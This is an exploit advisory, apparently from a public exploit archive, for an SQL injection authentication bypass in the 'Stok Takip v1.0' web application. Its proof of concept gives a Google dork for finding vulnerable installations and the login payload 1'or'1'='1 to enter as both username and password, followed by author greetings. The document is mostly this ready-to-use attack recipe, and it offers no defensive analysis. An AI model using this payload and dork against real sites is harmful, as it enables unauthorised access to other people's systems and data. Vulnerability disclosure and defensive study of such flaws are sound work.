Stok Takip 1.0 SQL Injection

Stok Takip version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.


MD5 | 8e627a71128aeefb301fbb533d59fb61

========================================================================
| # Title : Stok Takip v1.0 Authentication bypass vulnerability
| # Author : indoushka
| # email : [email protected]
| # Tested on : windows 10 FranASSais V.(Pro)
| # Version : v1.0
| # Vendor : http://wmscripti.com/
| # Dork : "PufyTek | Stok Takip v1.0"
========================================================================

poc :

[+] Dorking Adegn Google Or Other Search Enggine

[+] use payload : as user & pass 1'or'1'='1

http://stok.website/index.php

Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================

Related Posts

Comments